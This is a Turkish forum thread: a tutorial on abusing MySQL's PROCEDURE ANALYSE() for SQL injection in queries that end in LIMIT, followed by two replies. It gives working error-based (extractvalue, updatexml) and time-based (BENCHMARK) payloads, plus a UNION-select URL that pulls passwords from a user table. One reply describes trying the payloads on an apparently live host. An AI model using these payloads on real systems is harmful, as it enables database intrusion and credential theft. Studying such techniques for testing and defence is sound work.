SQL Injection Procedure Analyse

Cezeri

Yönetici
→ Procedure Analyse nedir ?
→ SQL Injection’da neden kullanılır ?
→ SQL Injection’da nasıl kullanılır ?
→ Demo Uygulama

1) Procedure Analyse nedir ?

Procedure Analyse, MySQL’in kolonlarınız için uygun veri tipi ve veri uzunluğunu seçmenizde yardımcı olmak için sunduğu bir komuttur. Veri tipi, veri uzunluğu gibi değerler performansı etkileyeceği için kullanılmasında fayda görülüyor.

Kullanımı şu şekildedir ;
Kod:
SELECT * FROM tabloadi PROCEDURE ANALYSE() ;
Resimlerden devam edelim. Localhost’da “prosedur” adında bir tablo oluşturdum. Tablo içeriği şu şekilde ;

4b0a34f7d5dd0c39e5585b6697767a38cd1e85a9.png


Şimdi "Procedure Analyse" kodumuzu deneyelim ve sonuçları inceleyelim.

e2ac48fc026659aa311a5581824279e1a2031cca.png


Çıktıyı incelerseniz, her bir tablo için “en uygun alan tipi” , “en uzun değer”, “en kısa değer”, “maksimum uzunluk”, “minimum uzunluk”, “null değerler” gibi istatistiksel verileri önümüze sunuyor.

Bu teorik bilgiler daha çok sistemi yönetenlerin kullandıkları kısımlardı, şimdi geçelim saldırganların kullandıklarına …

2) SQL Injection’da neden kullanılır ?

Piyasada gördüğünüz SQL Injection dökümanlarında genellikle “WHERE” ile biten sorgular için gerçekleştirilen Injection’lar gösteriliyor.
Kod:
SELECT * FROM tabloadi WHERE kullaniciid = 1 ;
Şeklinde ki sorguda saldırgan saldırısını aşağıdaki şekilde gerçekleştiriyor ;
Kod:
http://vvHack.org/sqli.php?id=1' union select sifre from kullanici-- -
Fakat sorgular “WHERE” ile bitmek zorunda değil.

LIMIT” adında, MySQL’de sıkça kullanılan bir komut var. Bu komut “kaç adet data çekileceğini” belirlemede kullanılır.

4759823d74afab3a471830b7dddadc21d65f9cd8.png


Resimde görüldüğü üzere “limit 2” yaptığımızda ilk 2 veriyi, “limit 3” yaptığımızda ise ilk 3 veriyi çekebiliyoruz.

Aynı komutu “limit ilkdeger,sondeger” şeklinde kullanırsak da ilkdeger’den son değer kadar ileride olanlara kadar verileri görebiliyoruz.

c9a26aaddd032d55ae8ed4006cd328861af0e48f.png


Peki SQL Injection gerçekleştirmemiz gereken sorgu “LIMIT” komutu ile bitiyorsa nasıl bir yol izleyeceğiz ?

Limit ile biten sorgularda syntax bozulmadan kendi sorgularımızı inject edebilmemiz için “PROCEDURE ANALYSE()” komutu kullanımı gerçekleştirilebilir.

f6712f77a5607333b484f80c685041e30d19ae9c.png


Görüldüğü üzere syntax bozulmadan procedure analyse işlemi gerçekleşiyor.

3) SQL Injection’da nasıl kullanılır ?

Procedure Analyse() komutu içerisine 2 adet parametre alabiliyor. Yani “Procedure Analyse(1,3)” şeklinde kullanımı gerçekleştirilebiliyor. Biz SQL Injection gerçekleştirirken bu parametreler üzerinden işlemlerimizi gerçekleştireceğiz. Procedure Analyse ile Injection gerçekleştirirken “Time Based” ve “Error Based” sorgular gerçekleştirebiliriz. Bu sorgularda “extractvalue” veya “updatexml” komutunu kullanacağız.
  • Procedure Analyse kullanarak Error Based SQL Injection ile Version çekmek için ;
SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1) ;
veya
SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(UPDATEXML(null,concat(0x3a,@@version),null),1) ;
50ab4aabf07d0889d70ea7a74e30b49efce5ad6f_2_690x286.png
50ab4aabf07d0889d70ea7a74e30b49efce5ad6f.png

  • Procedure Analyse kullanarak Time Based SQL Injection ile Version çekmek için ;
SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) ;
8ab8bcec1a1608d76f1033c4d7bc9dfb0f65a919.png


4) Demo Uygulama

Kullanılan Exploit ;

f8382bb56a2a9ad8effdab7cde0e2ad9e26e8b86_2_690x207.png
f8382bb56a2a9ad8effdab7cde0e2ad9e26e8b86.png
 
Moderatör tarafında düzenlendi:

Ustad

Üye
Diğer platformlardaki kalitesizliklerden biri de konuyu görüntülemek için atılan random yorumlar, makale ile alakası olmayan gereksiz postlar, aşırı sayıda teşekkür mesajı ile asıl okunması gereken yorumların arada kaynaması vs. durumların burada olmamasını temenni ederek konu ile alakalı bir önerimi iletmek istiyorum. İnce bir konu olmuş eyvallah fakat kaliteyi arttırmak için temel gereksinimler belirtilebilir. Örneğin sql açığının ne olduğunu bilmeyen okur meseleyi kavrayamayacaktır. Önce bilmesi gereken temel hususlar belirtilebilir. Kolay gelsin. İyi çalısmalar
 

Fx7

Üye
PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1)
bu sayede versiyon bilgisine ulaşıyorum fakat işin içine tablo adlarını alma kısmı girince
dial tcp4 168.139.72.6:0->168.139.72.6:80: i/o timeout
böyle bir hata ile karşılaşıyorum sebebi nedir acaba her yöntemi denetim internetteki ama çözüm bulamadım.
select ile ismini bildiğim tabloda count vs işlemi yapıyorum ama kör bir yere kadar gidebildim.
 
Üst